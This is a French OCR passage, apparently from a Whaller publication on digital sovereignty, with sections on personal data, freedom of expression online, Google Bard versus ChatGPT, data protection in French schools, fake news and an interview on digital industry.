s'en cachent pas.

Le cas de la messagerie What-
sapp est emblématique. A plu-
sieurs reprises, en niant avoir
été piratée, elle a estimé ne
pas avoir a se plier aux obliga-
tions du reglement européen
de protection des données
(RGPD). Par
ailleurs, apres avoirannoncé la

personnelles

modification de ses conditions
d'utilisation, elle a perdu des
dizaines de millions dutilisa-
teurs au profit de ses concur-
rents Signal et Telegram. La
raison en était que l'applica-
tion de messagerie partage-
rait certaines données avec sa
maison mere, Facebook. Voila
un exemple de réaction salu-
taire des internautes s‘enga-
geant pour la défense de leurs

données personnelles.

Lengagement des internautes
pour leur cybersécurité est
appelé la « confiance répartie
». Lexemple le plus parlant est
la monnaie cryptée, le bitcoin.
Son mécanisme de confiance
est basé sur un systéme ou le
registre des transactions est
réparti entre plusieurs nceuds
du réseau. Le bitcoin prouve
ainsi l'inutilité d'un tiers de
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confiance, en l'occurrence une

banque.

Linternet des objets est en
train de batir un nouveau

continent, la Terra data, la «

Terre des données ». |l
convient donc, pour que
celle-ci soit habitable, que

tous ces acteurs, les fabri-
cants comme les utilisateurs,
travaillent ensemble pour une
utilisation des données per-
sonnelles responsable et res-
pectueuse de la vie privée. Il
s'agit, ni plus ni moins, que de
préserver nos libertés fonda-

mentales.



La liberte d'expression
sur les réseaux sociaux

Souveraineté numérique

La liberté d'expression est I'un
des principaux droits humains
fondamentaux, inscrit dans
plusieurs traités internatio-
naux relatifs aux droits
humains. Ce droit s‘applique a
la fois hors ligne et en ligne.

C'est la raison pour laquelle il

a figuré en bonne place sur

I'agenda diplomatique ces
derniéres années. Que ce soit
au Conseil des droits de
I'homme des Nations unies ou

au Conseil de I'Europe.

En effet, dans quelle mesure
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les plateformes numériques
sont-elles et doivent-elles
étre liées par la liberté d'ex-
pression méme s'il s‘agit d’'en-
treprises privées 7?7 Cette
question est au cceur de la
question de la modération des

contenus.



Protection de notre
liberté d'expression
Plusieurs instruments inter-
nationaux garantissent le droit
a la liberté d'opinion et d'ex-
pression sans ingérence, ainsi
que le droit de rechercher, de
recevoir et de répandre des
informations et des idées par
le biais de tout média ou de
toute frontiere, notamment :

- Article 19 de la Déclaration
universelle des droits de
I'homme (UNHR, 1948) ;

- Article 19 du Pacte interna-
tional relatif aux droits
civils et politiques (PIDCP,
1966) ;

- Article 10 de la Convention
européenne des droits de
I'hnomme (CEDH, 1950) ;

- Article 13 de la Convention
américaine des droits de

I'hnomme (CADH, 1969).

Lorsqu’il s'agit d'appliquer la
liberté d'expression a l'envi-
ronnement en ligne, le princi-
pal instrument est la résolu-
tion du Conseil des droits de
I'homme des Nations Unies sur
la protection de la liberté d'ex-
pression sur Internet (2012),
qui stipule que « les mémes
droits que les personnes ont
hors ligne doivent également

étre protégés en ligne, en par-

ticulier la liberté d'expression,
qui s'applique sans considéra-
tion de frontiéres et par tout

média de son choix ».

Les limites de cette
liberté

Indépendamment du réle fon-
damental joué par la liberté
d’'expression dans une société
démocratique, ce droit n'est
pas absolu et peut faire I'objet
de limitations sous certaines
le droit

conditions. Selon

international des droits de
I'hnomme, une restriction a la
liberté d'expression doit
répondre, cumulativement,
aux exigences de légalité, de
légitimité, de nécessité et de

proportionnalité.

Ainsi, chacun des traités évo-
qués ci-dessus présente une
liste d'objectifs légitimes pou-
vant justifier une restriction a
la liberté d'expression dans

son propre systeme.

Par exemple, le PIDCP et la
CADH établissent comme buts
légitimes : le respect des
droits ou de la réputation d'au-
trui, la protection de la sécuri-
té nationale et de lI'ordre public
et la protection de la santé et

de la morale publiques.
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La CEDH présente une liste
plus large, puisqu'elle inclut la
prévention de la divulgation
d'informations confidentielles
et le maintien de l'autorité et
de limpartialité du pouvoir
comme

judiciaire objectifs

légitimes supplémentaires
susceptibles de justifier une
restriction a la liberté d'ex-
pression dans le systeme

européen de droits humains.

Naturellement, I'un des princi-
paux problemes est que les
limitations sont ouvertes a de
nombreuses interprétations
différentes des normes et, en
fin de compte, a des implé-

mentations différentes.

Comment controler la

liberté d’'expression ?

Internet, et les médias sociaux
en particulier, sont devenus la
principale plateforme
d'échange d’informations et
monde.

d'idées dans le

Chaque jour, une énorme

quantité de contenu est
publiée et partagée sur les
réseaux sociaux, sur lesquels
plus de 4,7 milliards d'utilisa-

teurs sont enregistrés.



En raison de ce flux toujours
croissant, les médias sociaux
développent des systemes de
modération de contenus afin
de contrdler ce que les utilisa-

teurs publient en ligne.

Ces systemes, humains ou le
fait d'intelligences artificielles,
peuvent supprimer, signaler
ou limiter la portée d'un conte-
nu particulier ou méme sus-
pendre ou bloquer les
comptes des utilisateurs. Par
conséquent, ils risquent d'en-
traver de maniere illégale
I'exercice de la liberté d'ex-
pression telle qu'elle est
garantie par les traités ou les
conventions comme nous
I'avons vu. C'est déja ce qui est
arrivé dans de nombreux pays.
Les autorités gouvernemen-
tales, y compris dans des
démocraties, ont surveillé les
contenus, puis restreint l'ac-
cés a certains d'entre-eux.

Cela s'appelle la censure.

Dans certains cas, les gouver-
nements vont jusqu’a fermer
l'accés a Internet pour des

régions ou méme pour tout le

pays.

Comment limiter Iéga-
lement ce droit ?

Il existe un large éventail de
justifications, y compris a l'oc-
casion de l'organisation de
manifestations, d'élections ou
d'examens publics passés a

l'université par exemple.

En 2019, dans diverses régions
de I'Inde, l'acces a Internet a
été interrompu de nom-
breuses fois en raison de ma-
nifestations contre la loi sur la

citoyenneté.

En Iran, Internet a été ferme
en raison de manifestations
contre les réductions des sub-
ventions aux carburants qui
ont fait grimper les prix pour

les consommateurs.

Au Bangladesh, en République
démocratique du Congo et au
Gabon, l'acces a été suspendu

pendant les élections.

En Ethiopie, Internet a été
coupé afin de lutter contre la
tricherie lors des examens
finaux des écoles secondaires

nationales.

Les limites de l'intelli-
gence artificielle

C'est lintelligence artificielle
(IA) utilisée pour modérer le

contenu en ligne qui présente
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le plus de risque, en particulier
lorsqu’il s'agit de contenu
controversé. La raison en est
que les algorithmes d'IA n'ont
pas la capacité d'évaluer le
contexte, de repérer l'ironie ou
de mener l'analyse complete
qui est nécessaire pour identi-
fier un contenu posant un pro-
bleme.

Pour cette raison, les sys-
témes de modération de
contenu qui s‘appuient forte-
ment ou exclusivement sur
des outils d’IA sont plus sus-
ceptibles de bloquer ou de
restreindre
défaut.

peuvent violer le droit des

le contenu par
Dans ce cas, ils
utilisateurs de rechercher,
recevoir et partager des idées
et des informations. C'est ce
gua souligné le Rapporteur
spécial des Nations Unies sur
la promotion et la protection
du droit a la liberté d’'opinion et

d'expression.

Par exemple, I'outil d’IA d’Ins-
tagram, DeepText, a identifié le
mot « mexicain » comme une
insulte. Cette confusion est
née parce que le mot « mexi-
cain » était souvent associé au
mot «illégal », probablement a
cause de commentaires mal-

veillants trouvés sur Internet.


https://www.accessnow.org/iraq-imposes-internet-curfew-for-school-exams-but-says-it-has-no-intention-to-cut-internet/
https://internetshutdowns.in/
https://www.newsweek.com/iran-minister-internet-shut-safety-1472470
https://www.accessnow.org/sudan-bangladesh-drc-gabon-start-2019-with-major-digital-rights-violations/
https://netblocks.org/reports/total-internet-outage-identified-in-ethiopia-gBLkVoA4

Ainsi, la modération de conte-
nu en ligne implique un pro-
cessus complexe, dans lequel
le contexte du contenu publié
sur les réseaux sociaux doit
pouvoir étre pris en compte.
Pour cette raison, les outils
d’lA utilisés pour la modéra-
tion de contenu en ligne
doivent étre concgus et utilisés
de maniere a respecter le droit
des utilisateurs a la liberté

d'expression.

Les traités internationaux sur
les droits de 'homme créent
des obligations juridiques
pour les Etats souverains,
mais n'imposent pas directe-
ment d'obligations aux entre-
prises privées, telles que les
entreprises de médias

sociaux.

C'est la raison pour laquelle il
faut étre vigilant et se battre
pour renforcer le droit a la
liberté d'expression en ligne
afin de ne pas laisser les

réseaux sociaux décider seuls.

Et les sujets sont nombreux :
la surveillance étatique des
communications ; la protec-
tion des droits des citoyens
lors des élections ; les
discours de haine en ligne ;

l'utilisation du cryptage et de

I'anonymat ; le réle du secteur
privé et des fournisseurs d'ac-

ces numérique ; etc.

Ainsi, sauvegarder la liberté
d’'expression sur les réseaux
sociaux est un enjeu politique,
économique et social, comme
la liberté de la presse en son

temps. Ni plus, ni moins.

Les traités internationaux sur
les droits de I'homme créent
des obligations juridiques
pour les Etats souverains,
mais n'imposent pas directe-
ment d'obligations aux entre-
prises privées, telles que les
entreprises de médias

sociaux.

C'est la raison pour laquelle il
faut étre vigilant et se battre
pour renforcer le droit a la
liberté d'expression en ligne
afin de ne pas laisser les

réseaux sociaux décider seuls.

Et les sujets sont nombreux :
la surveillance étatique des
communications ; la protec-
tion des droits des citoyens
lors des élections ; les
discours de haine en ligne ;
I'utilisation du cryptage et de
I'anonymat ; le réle du secteur
privé et des fournisseurs d'ac-
cés numérique ; etc.

84

Ainsi, sauvegarder la liberté
d'expression sur les réseaux
sociaux est un enjeu politique,
économique et social, comme
la liberté de la presse en son
temps. Ni plus, ni moins.


http://ap.ohchr.org/documents/dpage_e.aspx?si=A/HRC/23/40
http://ap.ohchr.org/documents/dpage_e.aspx?si=A/HRC/23/40
http://ap.ohchr.org/documents/dpage_e.aspx?si=A/HRC/26/30
http://ap.ohchr.org/documents/dpage_e.aspx?si=A/HRC/26/30
http://ap.ohchr.org/documents/dpage_e.aspx?si=A/HRC/26/30
https://www.ohchr.org/Documents/Issues/Opinion/A_74_486.pdf
http://ap.ohchr.org/documents/dpage_e.aspx?si=A/HRC/29/32
http://ap.ohchr.org/documents/dpage_e.aspx?si=A/HRC/29/32
http://ap.ohchr.org/documents/dpage_e.aspx?si=A/HRC/32/38
http://ap.ohchr.org/documents/dpage_e.aspx?si=A/HRC/32/38
http://ap.ohchr.org/documents/dpage_e.aspx?si=A/HRC/35/22
http://ap.ohchr.org/documents/dpage_e.aspx?si=A/HRC/35/22

Tout savoir sur Google Bard,

le prochain concurrent
du ChatGPT

@OpenAI

Google Bard est un nouvel
outil de chatbot. Congcu a
l'aide d'intelligences artifi-
cielles (IA) par Google, il est
encore en phase de tests.

Souveraineté numérique

Google

Bard Al

Dressons la carte d’identité
de cet outil qui a pris le nom
du « poéte et chanteur chez
les Celtes », et explorons ses

différences avec son illustre
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concurrent, ChatGPT déve-

loppé par OpenAl.



Qu'est-ce que Google
Bard ?

Google Bard est en développe-
ment depuis plusieurs années.
Construit sur lI'architecture de
réseau neuronal Transformer
de Google, il est concu pour
simuler des conversations
avec un humain. Il utilise une
combinaison de traitement du
langage naturel et d'appren-
tissage automatique. Il est
pensé pour augmenter les
propres outils de recherche de
Google (comme Bing de Micro-
soft utilise maintenant

ChatGPT).

Les différences entre
Google Bard et
ChatGPT

Bien que les deux chatbots
aient des capacités similaires
et soient congus pour imiter la
conversation humaine, ils ne
sont pas pensés de la méme
facon. L'une des principales
différences entre ChatGPT et
Bard réside dans les données
d’'entrainement utilisées pour

créer chaque modele.

Le modele de ChatGPT est
formé sur une quantité mas-
sive de données accessibles
au public provenant d’Inter-

net, y compris des livres, des

articles et des sites Web. Ces
données de formation per-
mettent a ChatGPT de com-
prendre les nuances du lan-
gage humain et de générer
des réponses a la fois précises
et contextuellement perti-
nentes. Néanmoins, ces don-
nées sont limitées puisqu'elles
nont pas été mises a jour

depuis septembre 2021.

Bard a été formé sur un
ensemble de données moins
important que ChatGPT. En
revanche, en tant que produit
Google, il pourra intégrer les
données mises a jour en temps
réel grace au moteur de
recherche Google Search mais
aussi les services de Google
Maps et Google Assistant. Il
offrira donc des réponses plus
précises et pertinentes a cer-
taines

requétes, en phase

avec l'actualité.

Fondé sur
LaMDA (Language Model for
Dialogue

la technologie

Applications) de
Google, Bard est concu pour
comprendre et générer le lan-
gage d'une maniere plus
proche de la fagcon dont les
humains communiquent. Cela
signifie que Bard est capable
de répondre a des requétes
complexes et de fournir des
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réponses plus nuancées que
ChatGPT. Cela donne a Google
un avantage significatif en
termes de qualité et de quan-
tité de données qu'il peut utili-
ser pour répondre aux

demandes.

Enfin, il existe des différences
dans la maniere dont OpenAl
et Google abordent le dévelop-
pement et le déploiement de
leurs chatbots. OpenAl est une
organisation axée sur |la
recherche qui s'’engage a faire
progresser |'état de la techno-
logie de I'lA et a la rendre
accessible au plus grand
nombre. A contrario, Google
est une grande entreprise
technologique qui propose
une gamme de produits et de
services, et se concentre surla
création de valeur pour ses
clients et ses actionnaires.
Dans l'ensemble, bien que
ChatGPT et Bard soient des
chatbots tres sophistiqués
capables de fournir une assis-
tance et des informations pré-
cieuses aux utilisateurs, ils
different de plusieurs ma-
nieres comme nous l'avons vu
- que ce soit leurs données de
formation, les cas d'utilisation
prévus, la complexité et

I'approche du développement



et du déploiement. Alors que la
technologie de I'lA continue
d'évoluer, il sera intéressant de
voir comment ces deux chat-
bots continuent de se déve-
lopper et de se concurrencer

sur le marché.

Quand Google Bard
sera-t-il disponible ?

A I'heure ou nous publions cet
Bard

pour des

article, Google n'est
disponible que
béta-testeurs. Quant a son
ouverture au grand public,
aucune date n'a été communi-
quée. Cependant, dans son
y a
quelques semaines a l'occa-

discours prononcé il

sion du lancement de Google
Bard, le PDG de Google,
Sundar Pichai, a affirmé qu’il
serait bientdot utilisé pour
améliorer la recherche sur
Google.

Notons qu‘a l'occasion de
cette présentation, Google
Bard a connu un démarrage
difficile. En effet, lors de sa
démonstration en avant-pre-
Bard

trompé en répondant a une

miere, Google s'est

question sur les récentes
découvertes du télescope
spatial James-Webb. Il a affir-

mé qu'il avait été le premier a

prendre une photo d‘une
exoplanete en dehors de notre
Or, c'était

faux. Dans la foulée, le cours

systeme solaire.

de I'action Google a chuté de 7
points a la bourse.
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Les enjeux de souveraineteé
numeérique au sein
de I'Education nationale

L'Education nationale repré-
sente, en 2022, 1,2 million
d’enseignants et encadrants
pour 12,7 millions d’éléves et
apprentis. Elle produit des
quantités gigantesques de
données numériques liées

aux informations person-
nelles des éléves. Une grande

variété de données person-

Souveraineté numérique

nelles sont ainsi collectées,

stockées et font l'objet de
traitements par une multitude
dacteurs : écoles et établis-
sements scolaires, services
académiques, collectivités
territoriales, partenaires
privés fournissant des res-
sources pédagogiques et ser-

vices numeériques.

88

Qu'en est-il de la souveraineté
numérique au sein de I'Edu-
cation nationale ? Quelles
sont les mesures prises par le
gouvernement pour garantir
la protection des données
numeériques ? Quels sont les
enjeux techniques pour les
établissements scolaires ?



Quelles instances pour
assurer la souveraineté
numeérique ?

En 2014, le ministére de I'Edu-
cation a créé la direction du
numérique pour I'éducation
(DNE). Quelgues années plus
tard, son deuxiéme titulaire fut
recruté par Amazon, ce qui fit

désordre.

Face aux enjeux posés par la
transformation numérique qui
ne cessaient de croitre, le
ministére de I'Education natio-
nale créa en 2019, une ins-
tance indépendante, le Comité
d'éthique pour les données
d'‘éducation. Ce dernier a pour
mission de conduire et déve-
lopper la réflexion sur les
aspects éthiques associés a
l'utilisation des  données
d'éducation, afin de garantir
un juste équilibre entre valori-
sation et protection des don-

nées personnelles.

A propos de la souveraineté
numeérique, le comité appelle a
« définir une stratégie natio-
nale et portée par I'Europe
concernant le développement
de produits numeériques
d'éducation ». Il s'agit ainsi de
proposer une « offre gratuite
d'outils de téléenseignement

de bonne qualité ». Inverse-

ment, il recommande le fait d’
« identifier au niveau national
les offres dont le fonctionne-
ment peut poser a moyen ou
long termes des problemes
éthiques liés aux données ».

Comme nous le voyons, la
prise de conscience est
longue a se mettre en place.
Nous sommes en 2019, alors
que la question de la souverai-
neté numérique est a I'agenda
politique depuis de longues
années déja. A ce stade, ce
comité émet de simples voeux
qui n‘engagent en rien le
ministére de I'Education natio-
nale.

Les enjeuxliés ala
pandémie

Pendant le confinement, les
professeurs et leurs éleves ont
utilisé massivement les outils
d'enseignement a distance.
Dans le peloton de téte, on
trouve les plateformes numé-
riques étrangeres Microsoft -
qui propose, en France, gratui-
tement et sans contrepartie,
une partie de son offre logi-
cielle et matérielle a de nom-
breux établissements sco-
laires - et Google avec Google
Classroom, Workspace for

Education, etc.
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Cette situation agaca la direc-
tion du numérique pour I'édu-
cation. « On ne rigole pas avec
les données personnelles des
éleves, considérées comme
sensibles » déclara son direc-
teur Audran Le Baron. Il fallait

donc proposer autre chose.

En mai 2021, la Commission
nationale de l'informatique et
des libertés (CNIL) a rendu un
avis, non-coercitif, déconseil-
lant aux établissements de
I'enseignement supérieur
d'utiliser des « suites collabo-
ratives états-uniennes pour

I'éducation ».

La raison ? Que les données
soient stockées sur le sol amé-
ricain ou en Europe, en vertu
de la Iégislation des
Etats-Unis, les GAFAM pou-
vaient les récupérer et les
exploiter. La CNIL envoyait
donc un message d‘alerte
bienvenue par les acteurs
francais.

. Découvrez comment
Whaller a

besoins des établissements

répondu aux

scolaires pendant la crise

sanitaire avec la suite

bureautique Whaller 365.


https://www.education.gouv.fr/direction-du-numerique-pour-l-education-dne-9983
https://www.education.gouv.fr/le-comite-d-ethique-pour-les-donnees-d-education-12146
https://www.cnil.fr/fr/la-cnil-appelle-evolutions-dans-utilisation-outils-collaboratifs-etatsuniens-enseignement-superieur-recherche
https://blog.whaller.com/2022/04/19/whaller-365-une-solution-souveraine-alternative-a-microsoft-365/

apps.education.fr, la
plateforme éducative
souveraine

Afin d'offrir une alternative aux
outils des GAFAM, la direction
numérique pour ['éducation
passa aux actes en dévelop-
pant Apps.education.fr. C'est
une plateforme libre, souve-
raine, compatible avec le
reglement général sur la pro-

tection des données (RGPD).

Elle propose les outils essen-
tiels du quotidien a I'ensemble
des agents de I'Education
nationale : Peertube, alterna-
tive libre a YouTube (Google), le
service de partage de docu-
ments Nextcloud, comparable
a Google Drive et One Drive
(Microsoft), ou encore la solu-
tion de visioconférence Classe
virtuelle, I'équivalent de Zoom,
Meets ou Teams c6té éduca-

tion.

Néanmoins, il reste une diffi-
culté a I'adoption de la plate-
forme : les collectivités locales
sont libres, puisque ce sont
elles qui paient, d'équiper les
établissements en matériels et
en logiciels. Il n'est donc pas
possible d'imposer une solu-
tion nationale. La DNE ne peut
que prescrire sa plateforme.
Aussi, compte tenu de la puis-

sance des outils des GAFAM,
que les enseignants utilisent
personnellement et depuis
longtemps, on peut facilement
penser qu'il faudra du temps
pour qu’ils adoptent la plate-
forme apps.education.fr.

Des mesures fortes
pour les données per-
sonnelles des établis-
sements

A la fin de l'année 2022, le
ministére de I'Education natio-
nale a publié une « doctrine
technique du numérique dans
I'education ». Elle constitue le
cadre de référence pour les
services numériques éduca-
tifs. Elle recense des bonnes
pratiques, tantét incitatives,
tantot obligatoires, ainsi que
des rappels sur la conformité
au RGPD.

DNE va

lancer un programme de sen-

Parallelement, la

sibilisation des enseignants et
des personnels administratifs
au numeérique et notamment a
la protection des données per-
sonnelles.

Mais la grande nouvelle est
que, simultanément, le minis-
tére de I'Education nationale «

a demandé d‘arréter tout
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déploiement ou extension
[dans les classes] de cette
solution [Microsoft Office 365]
ainsi que celle de Google, qui
seraient contraires au RGPD ».
Le hic est que le ministere ne

donne pas d'échéance.

Lannonce du bannissement
des GAFAM de
nationale est historique. Elle

I'Education

montre la prise de conscience
des équipes de la rue de Gre-
nelle. Elle respecte, d'une part,
le cadre du RGPD, et dautre
part, la stratégie cloud au
centre que le gouvernement a
mis en place en 2021 avec la
Direction interministérielle du
(DINUM). Cette

stratégie a pour objectif de

numérique

stopper l'usage et le déploie-
ment de projets utilisant des
suites ameéricaines non
conformes (notamment

Microsoft et Google).

Que faire maintenant ? Que
proposer aux enseignants et
aux éléves qui soit opération-
nel et performant ? Un collec-
tif s'est monté. Il s‘appelle le
collectif Fab 8. Il est composé
de 7 acteurs francais de la
Digital Workplace Jalios,
Jamespot, Netframe, Twake,
Wimi, Talkspirit et Whaller.


https://apps.education.fr/
https://eduscol.education.fr/document/45064/download#:~:text=La%20doctrine%20technique%20du%20num%C3%A9rique%20dans%20l'%C3%A9ducation%20fournit%20le,les%20usagers%20du%20syst%C3%A8me%20%C3%A9ducatif.
https://whaller.com/fr/cloud-de-confiance

En effet, Fab 8 propose une alternative crédible et puis-sante aux GAFAM tout en
res-pectant la souveraineté numérique de I'Education nationale. Elle offre
une solu-tion technologique qui reflete nos valeurs et permet de garder la maitrise

du choix de la société dans laquelle nous voulons vivre. N'est-ce pas l'essentiel ?

Il appartient désormais al'Education nationale de la tester pour s’en emparer.
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Fausses nouvelles : comment
interpreter les fake news ?

Souveraineté numérique

Internet et les réseaux

sociaux ont transformé

I'information. Celle-ci  est
disponible partout, tout Ile
temps, avec, comme source
potentielle, chaque utilisa-
teur. L'information n'est donc
plus le privilege des médias,
des agences et des journa-

listes. C’est dans ce nouvel

information-

environnement
nel que les fake news ou infox
sont apparues et se sont mul-
tipliées. C'est-a-dire des nou-
velles qualifiées de fausses
informations ou d’informa-
tions fallacieuses dont le but
est de manipuler ou de trom-

per le public.
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La conséquence de I'explo-
sion des fake news, ou récits
alternatifs, est que la vérité
apparait désormais comme
une notion relative, les faits
étant tout le temps et partout
remis en cause. On parle alors
de « post-vérité ».



Qu’est-ce que la vérité
2

Habituellement la vérité est ce
qu'un individu pense étre la
réalité. Il formalise ses idées a
travers le langage qui donne
alors des caractéristiques et
des limites a sa conception du
monde.

Cette breve définition peut
nous aider a saisir d'emblée la
complexité de la vérité. Tout
homme pourra donc penser
étre vrai ce qu'il a entendu, vu
ou lu dans sa langue. Il suffira
d'un bref dialogue entre deux
personnes étant nées dans
des pays différents, aux cou-
tumes différentes pour s'aper-
cevoir de la difficulté de rendre
absolue une vérité.
C'est-a-dire d'affirmer gu’'une
idée peut étre vraie en tout

lieu et en tout temps.

Ce probléme correspond a une
vision classique de la logique.
Depuis Aristote, en Europe,
nous pensons le plus souvent
la vérité en deux termes
distincts : ou bien une propo-
sition est vraie, ou bien elle est
fausse. La science moderne,
qui a conduit a d'immenses
avancées depuis le XVieme
siecle s'est également fondée

sur ce principe. Et 'émergence

des sociétés démocratiques,
depuis le XIXeme, repose aussi
sur I'idée qu'une société meil-
leure est possible en la fon-
dant sur des faits considérés
objectifs ( comme les niveaux

de revenus, les dipldomes, etc).

Les événements poli-
tiques favorisent la
diffusion des fausses
informations

C'est ce modele, a la fois philo-
sophique et scientifique du
monde moderne, que les phé-
nomenes politiques majeurs
des dernieres années, l'élec-
tion de Trump, le Brexit, la
guerre en Ukraine ont remis en

cause.

lls partagent les traits com-
muns d'avoir vu débattre, ou
s'affronter, des acteurs quali-
fiés, comme des journalistes
scientifiqgues ou des universi-
taires reconnus, et des indivi-
dus sans qualifications parti-
culieres. Cependant, ces der-
niers ont su s‘appuyer sur une
rhétorique efficace accordant
plus dimportance aux émo-
tions de leurs partisans qu‘aux
faits établies par la science,

les faits et les chiffres.

De la méme maniére, dans le
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cadre de la guerre en Ukraine,
les comptes officiels des belli-
gérants se livrent a une véri-
table guerre de l'information.
lls essayent de capter l'atten-
tion du public, en déployant
simultanément des récits
opposés des mémes événe-
ments en passant a la fois par
les comptes twitter du minis-
tere de la Défense comme
ceux des soldats sur le terrain
ou des influenceurs. Ainsi,
pour lutter contre la propaga-
tion de fausses informations,
le secrétariat général de la
Défense et de la Sécurité
nationale s'est doté d'un nou-
veau service depuis 2021

VIGINUM. Ce service, tech-
nique et opérationnel, est en
charge de la protection contre
les ingérences numeériques
étrangeres.

Parallelement, I'émergence
récente des logiciels de deep-
fake (hypertrucage) qui per-
mettent a tout un chacun de
créer des fausses vidéos ayant
I'esthétique et les voix de
vraies personnes, a provoqué
un autre basculement. Si les
faits et les données chiffrés
sont considérés comme pou-
vant étre relatifs, désormais
les images et les vidéos ne

sont plus des preuves


https://fr.wikipedia.org/wiki/VIGINUM

factuelles décisives.

En réaction aux fausses infor-
mations, les journaux, en
France et dans le monde, ont
lancé de nouvelles rubriques
dont l'objectif est de vérifier
les informations publiées en
ligne et sur les réseaux

sociaux.

Le réle des réseaux
sociaux dans la désin-
formation

Comme nous le constatons,
'avenement des réseaux
sociaux et d'internet a drasti-
guement changé la puissance
des organes d’informations
traditionnelles. La « vérité »
d’'un compte Twitter ayant des
millions de followers devient
tout aussi puissante que celle,
par exemple, des quotidiens
Le Figaro ou Le Monde. Or, si
les seconds sont des sources
considérées comme fiables, la
d'un

premiere est celle

citoyen, parfois anonyme,
dont nous ignorons les moti-
vations et les connaissances

réelles.

Ainsi, de maniere simple et
brutale, les réseaux sociaux
ont offert la possibilité de pro-
pager des informations véri-
fiables, ou non, a une vitesse

sans précedent. Il est donc
devenu possible de créer

publiquement, méme sans
preuve, a l'aide de quelques
centaines de mots, des récits
alternatifs. C'est ce nouvel
état de fait dans le discours
public qui a mené a parler de

post-vérité.

En effet, la multiplication des

informations peut donner,
d'une part, le sentiment qu'il
est impossible de discerner le
vrai du faux. Et d'autre part, le
sentiment que toute personne
alalégitimité de s'exprimer sur
tous les sujets. Ce quirevient a
nier qu'une personne ayant du
savoir est plus a méme de
parler sur ce qu'elle connait
Lidée de

post-vérité est donc dange-

qu'une autre.
reuse. Elle marque une rupture
entre les citoyens d'un pays
qui ne s‘accordent plus sur la
reconnaissance de la valeur du
travail effectué en amont.

Paradoxalement, la violence
dans les débats a propos des
informations vs. fausses infor-
mations signifie pourtant que
nous croyons a l'idée de vérité.
Quand sur un plateau de télé-
vision, nous mettons face a
face des opposants politiques
c'est que nous pensons que
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l'un doit avoir tort et l'autre
raison. La confrontation appa-
rait nécessaire pour savoir
lequel est le plus proche de la
vérité. Ainsi, I'idée de vérité est

plus vivante que jamais.

Face a la crise de la légitimité
de la parole, afin de savoir « qui
dit vrai ? » dans tout débat,
nous pouvons étre des spec-
tateurs actifs. Pour cela, nous
pouvons nous poser les ques-
tions suivantes qui nous per-
mettront de discerner : qui
parle ? Le discours de la per-
sonne est-il fondé ? A-t-elle
eu acces a des faits spéci-
figues connus ou inconnus ?
Ses sources semblent-elles
solides ou pas 7?7 Sap-
puie-t-elle sur la raison ou sur

I'émotion ?

Par ailleurs, l'arrivée en force
de lintelligence artificiel,
comme ChatGPT, va nous obli-
ger a sourcer de plus en plus
I'information. Il va devenir de
plus en plus essentiel de s'as-
surer que ce que nous lisons,
ce que nous voyons et ce que

nous entendons, est fiable.

La vérité n'est donc pas morte,
elle attend simplement que

I'ony préte plus attention.


https://blog.whaller.com/2023/01/17/lia-chat-gpt-une-evolution-ou-une-revolution/

Le numeérique,
est-ce de l'industrie ?

Souveraineté numérique

L'invitée
= Whaller

Anais Voy-Gillis

Anais Voy-Gillis, Docteure en géographie mention géopolitique, Directrice associée de June
Partners, cabinet spécialisé dans la transformation des entreprises en situation complexe est venu

échanger sa vision du numérique.
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https://youtu.be/kaqgeNy5DaI
https://www.june-partners.com/
https://www.june-partners.com/

Le numérique, est-ce
de I'industrie ?

De mon point de vue, nous
pouvons dire que le numé-
rique est une industrie. A la
fois le numérique est un élé-
ment qui peut étre déclen-
cheur de certaines révolutions
industrielles, il a induit des
changements techniques et
sociétaux. On a eu dans les
années 70, au moment du
début de

industrielle, la révolution liée

la 3e révolution
aux technologies de l'informa-
tion et de la communication,
des progrés techniques avec
I'essor des découvertes sur
certains composants clés du
numérique de l'industrie. On
pense par exemple aux micro-
processeurs chez Intel, qui ont
été des accélérateurs des
transformations et des trans-
formations notamment dans
I'industrie. On parle de 3eme
révolution industrielle, de

4eme révolution industrielle
certains ont parlé de 5eme
révolution industrielle. Mais
dans les composants de la
3eme et la 4éme révolution
industrielle, nous sommes sur
des accélérations des procé-
dés industriels liés a des évo-
lutions techniques qui sont
liées au numérique. Le numé-

rique est treés lié a I'industrie

de ce point de vue-la.

Le numérique peut également
étre considéré comme une
industrie, si on considere la
définition de I'industrie,
comme l'aspect d‘avoir des
choses trés « processé », la
capacité de gérer de la masse,
d’'un point de vue « donnée ».

La 3eéme chose c'est que le

numérique repose sur des
choses extrémement tan-
gibles, des infrastructures

physiques pour communiquer,
des objets qui sont le support
des logiciels de la couche «
soft ». Il n'y aurait pas de
numérique sans ordinateur
sans cable sous-marin et ces
objets sont des résultants de
I'industrie et des différentes

révolutions industrielles.

Notre souveraineté
numérique

passe-t-elle parla
ré-industrialisation ?
Par la re-localisation ?
Laréponse est « Oui » et « Non
». Oui dans le sens ou derriére
la notion de souverainetéily a
la notion de ce qu'on maitrise
sur notre territoire,
c'est-a-dire notre faculté a ne
pas dépendre d'un autre, qui

peut étre une entreprise.
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Lorsque I'on regarde la taille de
certaines entreprises
aujourd’hui, on voit qu'elles
sont capables de rivaliser avec
certaines nations mais cela
peut étre une nation, un
groupe d’individus, il y a plein
de choses qu'on peut considé-
rer, il y a cette notion d’indé-
pendance derriere la souverai-

neté.

Si on se dit étre souverain sur
le plan du numérique, c'estala
fois maitriser la couche de «
hard » et la couche de « soft ».
C'est-a-dire, c'est comment
est-ce que l'on produit une
grande partie du « hard » sur
le territoire francais. Comment
est-ce que l'on a des ordina-
teurs, des microprocesseurs,
tous les composants que l'on
va retrouver dans les outils de
communication sur le terri-
toire  francais. Comment
est-ce que l'on maitrise les
infrastructures physiques
nécessaires au numérique

avec des acteurs francgais ?

Ensuite, nous avons toutes les
couches « soft », logiciel,
algorithme qui pour avoir une
souveraineté doit étre fran-

caise.



Lenjeu pour étre sur cette
souveraineté, a travers Ila
ré-industrialisation c'est de
décider ce que l'on veut re-lo-
caliser, reproduire en France
pour étre sur un fonctionne-
ment de dépendance choisi et
non pas subi. D'autre part,
c'est lorsque dans un certain
nombre de domaines, que l'on
ne percoit pas forcément et
qui sont peut-étre moins liés a
la ré-industrialisation, si on
considere que la partie « soft »
est peut-étre moins vue
comme une activité indus-
trielle, si on ne la maitrise pas
sur le territoire francais, alors
on aura une ré-industrialisa-
tion partielle et je pense que
dans tous les domaines nous
avons pris du retard par rap-
port a certains grands acteurs

ameéricains ou asiatiques.

De quelle maniére, une
plateforme collabora-
tive devrait-elle selon
vous contribuer aux
performances des or-
ganisations ?

Les plateformes collaboratives
sont des outils clés pour
travailler ensemble au sein
d'une entreprise. Nous nous
en servons pour travailler en

